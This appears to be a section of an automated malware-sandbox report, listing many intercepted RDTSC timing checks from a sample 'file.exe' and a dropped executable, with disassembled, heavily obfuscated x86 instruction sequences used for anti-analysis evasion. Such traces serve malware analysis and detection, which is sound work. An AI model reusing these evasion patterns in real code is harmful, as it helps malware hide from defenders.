Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0522 second address: 4EB0526 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0526 second address: 4EB054E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 call 00007F4348DC2F99h 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F4348DC2FA4h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB054E second address: 4EB05B7 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F4348BCFDF2h 0x00000008 xor si, 70A8h 0x0000000d jmp 00007F4348BCFDEBh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 mov ah, 4Bh 0x00000017 popad 0x00000018 push eax 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c pushfd 0x0000001d jmp 00007F4348BCFDF7h 0x00000022 sbb ax, 669Eh 0x00000027 jmp 00007F4348BCFDF9h 0x0000002c popfd 0x0000002d mov edx, ecx 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB05B7 second address: 4EB05D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4348DC2FA8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB05D3 second address: 4EB05D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB05D7 second address: 4EB05F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c pushad 0x0000000d movsx edx, si 0x00000010 popad 0x00000011 mov eax, dword ptr [eax] 0x00000013 pushad 0x00000014 mov edi, 3D11BE36h 0x00000019 push eax 0x0000001a push edx 0x0000001b mov esi, ebx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB05F4 second address: 4EB0637 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F4348BCFDF9h 0x00000008 add esi, 0CAC8F96h 0x0000000e jmp 00007F4348BCFDF1h 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 popad 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b pushad 0x0000001c mov bl, 84h 0x0000001e push eax 0x0000001f push edx 0x00000020 mov bx, cx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0637 second address: 4EB06AA instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F4348DC2FA2h 0x00000008 and esi, 17AF6EE8h 0x0000000e jmp 00007F4348DC2F9Bh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 popad 0x00000017 pop eax 0x00000018 jmp 00007F4348DC2FA6h 0x0000001d call 00007F43B9486910h 0x00000022 push 755727D0h 0x00000027 push dword ptr fs:[00000000h] 0x0000002e mov eax, dword ptr [esp+10h] 0x00000032 mov dword ptr [esp+10h], ebp 0x00000036 lea ebp, dword ptr [esp+10h] 0x0000003a sub esp, eax 0x0000003c push ebx 0x0000003d push esi 0x0000003e push edi 0x0000003f mov eax, dword ptr [75600140h] 0x00000044 xor dword ptr [ebp-04h], eax 0x00000047 xor eax, ebp 0x00000049 push eax 0x0000004a mov dword ptr [ebp-18h], esp 0x0000004d push dword ptr [ebp-08h] 0x00000050 mov eax, dword ptr [ebp-04h] 0x00000053 mov dword ptr [ebp-04h], FFFFFFFEh 0x0000005a mov dword ptr [ebp-08h], eax 0x0000005d lea eax, dword ptr [ebp-10h] 0x00000060 mov dword ptr fs:[00000000h], eax 0x00000066 ret 0x00000067 jmp 00007F4348DC2FA0h 0x0000006c and dword ptr [ebp-04h], 00000000h 0x00000070 push eax 0x00000071 push edx 0x00000072 jmp 00007F4348DC2FA7h 0x00000077 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB06AA second address: 4EB06D9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4348BCFDF9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edx, dword ptr [ebp+0Ch] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F4348BCFDEDh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB07E1 second address: 4EB084E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov edi, dword ptr [ebp+08h] 0x00000008 jmp 00007F4348DC2FA6h 0x0000000d dec edi 0x0000000e jmp 00007F4348DC2FA0h 0x00000013 lea ebx, dword ptr [edi+01h] 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 mov edx, 17347F80h 0x0000001e pushfd 0x0000001f jmp 00007F4348DC2FA9h 0x00000024 sbb ecx, 2E8C7D86h 0x0000002a jmp 00007F4348DC2FA1h 0x0000002f popfd 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB084E second address: 4EB089D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, ax 0x00000006 mov eax, 4DBB1E2Fh 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov al, byte ptr [edi+01h] 0x00000011 pushad 0x00000012 mov esi, 611AA427h 0x00000017 pushfd 0x00000018 jmp 00007F4348BCFDECh 0x0000001d sub esi, 50D4C358h 0x00000023 jmp 00007F4348BCFDEBh 0x00000028 popfd 0x00000029 popad 0x0000002a inc edi 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007F4348BCFDF5h 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB089D second address: 4EB08F3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4348DC2FA1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test al, al 0x0000000b pushad 0x0000000c mov ax, 0383h 0x00000010 pushad 0x00000011 call 00007F4348DC2FA6h 0x00000016 pop eax 0x00000017 popad 0x00000018 popad 0x00000019 jne 00007F43B947B142h 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007F4348DC2FA8h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB08F3 second address: 4EB0943 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F4348BCFDF1h 0x00000008 pop ecx 0x00000009 pushfd 0x0000000a jmp 00007F4348BCFDF1h 0x0000000f sub ch, FFFFFFC6h 0x00000012 jmp 00007F4348BCFDF1h 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b mov ecx, edx 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F4348BCFDEDh 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0943 second address: 4EB0955 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, si 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 shr ecx, 02h 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0955 second address: 4EB0959 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0959 second address: 4EB095D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB095D second address: 4EB0963 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0963 second address: 4EB09CE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov eax, 72A98561h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d rep movsd 0x0000000f rep movsd 0x00000011 rep movsd 0x00000013 rep movsd 0x00000015 rep movsd 0x00000017 jmp 00007F4348DC2F9Ch 0x0000001c mov ecx, edx 0x0000001e pushad 0x0000001f mov dh, al 0x00000021 jmp 00007F4348DC2FA3h 0x00000026 popad 0x00000027 and ecx, 03h 0x0000002a pushad 0x0000002b jmp 00007F4348DC2FA4h 0x00000030 mov dh, cl 0x00000032 popad 0x00000033 rep movsb 0x00000035 push eax 0x00000036 push edx 0x00000037 jmp 00007F4348DC2FA8h 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0B94 second address: 4EB0BF5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4348BCFDEBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov edx, ecx 0x0000000d pushfd 0x0000000e jmp 00007F4348BCFDF0h 0x00000013 xor ecx, 346CF6C8h 0x00000019 jmp 00007F4348BCFDEBh 0x0000001e popfd 0x0000001f popad 0x00000020 push eax 0x00000021 jmp 00007F4348BCFDF9h 0x00000026 xchg eax, ebp 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007F4348BCFDEDh 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0BF5 second address: 4EB0C67 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, ax 0x00000006 pushfd 0x00000007 jmp 00007F4348DC2FA8h 0x0000000c sbb ch, FFFFFFB8h 0x0000000f jmp 00007F4348DC2F9Bh 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 mov ebp, esp 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d mov ax, di 0x00000020 pushfd 0x00000021 jmp 00007F4348DC2FA7h 0x00000026 add ecx, 55E51D2Eh 0x0000002c jmp 00007F4348DC2FA9h 0x00000031 popfd 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 896271 second address: 8962D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 je 00007F4348BCFDFFh 0x0000000c ja 00007F4348BCFDE8h 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 pushad 0x00000016 jmp 00007F4348BCFDF3h 0x0000001b pushad 0x0000001c jmp 00007F4348BCFDF5h 0x00000021 pushad 0x00000022 popad 0x00000023 push eax 0x00000024 pop eax 0x00000025 popad 0x00000026 push ecx 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8965A4 second address: 8965B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 js 00007F4348DC2F9Eh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8965B1 second address: 8965BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8965BD second address: 8965CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F4348DC2F9Bh 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8965CF second address: 8965D4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8965D4 second address: 8965E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jnc 00007F4348DC2F96h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f push ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 89801D second address: 898021 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 898021 second address: 8980A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 jg 00007F4348DC2F9Eh 0x0000000e nop 0x0000000f push 00000000h 0x00000011 push ebx 0x00000012 call 00007F4348DC2F98h 0x00000017 pop ebx 0x00000018 mov dword ptr [esp+04h], ebx 0x0000001c add dword ptr [esp+04h], 0000001Ch 0x00000024 inc ebx 0x00000025 push ebx 0x00000026 ret 0x00000027 pop ebx 0x00000028 ret 0x00000029 mov dword ptr [ebp+122D3504h], edx 0x0000002f push 00000000h 0x00000031 push eax 0x00000032 add dword ptr [ebp+122D2F33h], ebx 0x00000038 pop ecx 0x00000039 push esi 0x0000003a push edx 0x0000003b clc 0x0000003c pop edx 0x0000003d pop edi 0x0000003e call 00007F4348DC2F99h 0x00000043 jmp 00007F4348DC2F9Ch 0x00000048 push eax 0x00000049 push eax 0x0000004a push edx 0x0000004b jmp 00007F4348DC2FA7h 0x00000050 rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8980A0 second address: 89813C instructions: 0x00000000 rdtsc 0x00000002 ja 00007F4348BCFDE8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e jmp 00007F4348BCFDF5h 0x00000013 mov eax, dword ptr [eax] 0x00000015 pushad 0x00000016 js 00007F4348BCFDF1h 0x0000001c jl 00007F4348BCFDFAh 0x00000022 jmp 00007F4348BCFDF4h 0x00000027 popad 0x00000028 mov dword ptr [esp+04h], eax 0x0000002c jmp 00007F4348BCFDF3h 0x00000031 pop eax 0x00000032 jno 00007F4348BCFDECh 0x00000038 mov esi, dword ptr [ebp+122D2F1Bh] 0x0000003e push 00000003h 0x00000040 sub ch, 00000010h 0x00000043 push 00000000h 0x00000045 sub dword ptr [ebp+122D27FCh], edx 0x0000004b push 00000003h 0x0000004d jns 00007F4348BCFDEBh 0x00000053 mov esi, 651E0CC0h 0x00000058 push C96CEC7Ah 0x0000005d push edi 0x0000005e push eax 0x0000005f push edx 0x00000060 push edi 0x00000061 pop edi 0x00000062 rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 898270 second address: 898274 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 898274 second address: 8982C5 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnc 00007F4348BCFDE8h 0x0000000c popad 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 pushad 0x00000012 jmp 00007F4348BCFDF9h 0x00000017 pushad 0x00000018 jmp 00007F4348BCFDEBh 0x0000001d push edi 0x0000001e pop edi 0x0000001f popad 0x00000020 popad 0x00000021 mov eax, dword ptr [eax] 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007F4348BCFDF0h 0x0000002a rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8982C5 second address: 8982D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F4348DC2F9Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8985A7 second address: 8985BE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F4348BCFDEAh 0x00000012 rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8985BE second address: 8985CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F4348DC2F9Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8985CC second address: 898668 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov eax, dword ptr [eax] 0x00000007 jno 00007F4348BCFDF4h 0x0000000d mov dword ptr [esp+04h], eax 0x00000011 jp 00007F4348BCFDF4h 0x00000017 pop eax 0x00000018 push 00000000h 0x0000001a push eax 0x0000001b call 00007F4348BCFDE8h 0x00000020 pop eax 0x00000021 mov dword ptr [esp+04h], eax 0x00000025 add dword ptr [esp+04h], 00000014h 0x0000002d inc eax 0x0000002e push eax 0x0000002f ret 0x00000030 pop eax 0x00000031 ret 0x00000032 call 00007F4348BCFDEDh 0x00000037 jnc 00007F4348BCFDECh 0x0000003d pop esi 0x0000003e and si, A79Eh 0x00000043 lea ebx, dword ptr [ebp+1244CEDDh] 0x00000049 mov dword ptr [ebp+122D28A9h], edi 0x0000004f jg 00007F4348BCFDECh 0x00000055 or dword ptr [ebp+122D289Eh], edi 0x0000005b xchg eax, ebx 0x0000005c push eax 0x0000005d push edx 0x0000005e push eax 0x0000005f push edx 0x00000060 jmp 00007F4348BCFDF0h 0x00000065 rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 898668 second address: 89866C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 89866C second address: 898672 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 89075E second address: 89078E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 jmp 00007F4348DC2FA9h 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F4348DC2FA0h 0x00000011 rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8B9270 second address: 8B9281 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4348BCFDEDh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8B9281 second address: 8B9290 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jo 00007F4348DC2F96h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8B9290 second address: 8B92A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F4348BCFDE6h 0x0000000a popad 0x0000000b popad 0x0000000c js 00007F4348BCFDEEh 0x00000012 push edi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8B96BD second address: 8B96C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8B991E second address: 8B9951 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F4348BCFDF7h 0x00000010 popad 0x00000011 pop eax 0x00000012 push ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 jbe 00007F4348BCFDE6h 0x0000001b jo 00007F4348BCFDE6h 0x00000021 rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8B9EBA second address: 8B9EC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8B9EC0 second address: 8B9ECD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 jnl 00007F4348BCFDE6h 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8B9ECD second address: 8B9ED2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8B9ED2 second address: 8B9F00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4348BCFDF0h 0x00000009 jmp 00007F4348BCFDF8h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8BA057 second address: 8BA05E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8BA1ED second address: 8BA206 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4348BCFDF5h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 882E5F second address: 882E64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 882E64 second address: 882E7D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4348BCFDF5h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 882E7D second address: 882E97 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F4348DC2F9Ah 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 882E97 second address: 882EA6 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F4348BCFDEAh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8BAA31 second address: 8BAA35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8BAA35 second address: 8BAA47 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 pushad 0x00000008 popad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jc 00007F4348BCFDE6h 0x00000012 rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8BAD0E second address: 8BAD12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8BB178 second address: 8BB187 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4348BCFDEBh 0x00000009 rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8BB187 second address: 8BB1C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F4348DC2F9Eh 0x0000000d pop edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F4348DC2FA3h 0x00000015 pushad 0x00000016 push eax 0x00000017 pop eax 0x00000018 je 00007F4348DC2F96h 0x0000001e pushad 0x0000001f popad 0x00000020 pushad 0x00000021 popad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8BCE59 second address: 8BCE73 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F4348BCFDEFh 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8BF959 second address: 8BF95D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8BF95D second address: 8BF961 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8BF961 second address: 8BF967 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8BF071 second address: 8BF079 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8C578E second address: 8C57E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 pop eax 0x00000008 popad 0x00000009 jl 00007F4348DC2FC3h 0x0000000f jmp 00007F4348DC2FA8h 0x00000014 jmp 00007F4348DC2FA5h 0x00000019 pushad 0x0000001a push ecx 0x0000001b pop ecx 0x0000001c jmp 00007F4348DC2FA3h 0x00000021 je 00007F4348DC2F96h 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8C4D73 second address: 8C4D7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8C5033 second address: 8C504A instructions: 0x00000000 rdtsc 0x00000002 jc 00007F4348DC2F96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F4348DC2F9Dh 0x0000000f rdtsc
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	RDTSC instruction interceptor: First address: 8C504A second address: 8C505A instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F4348BCFDEAh 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
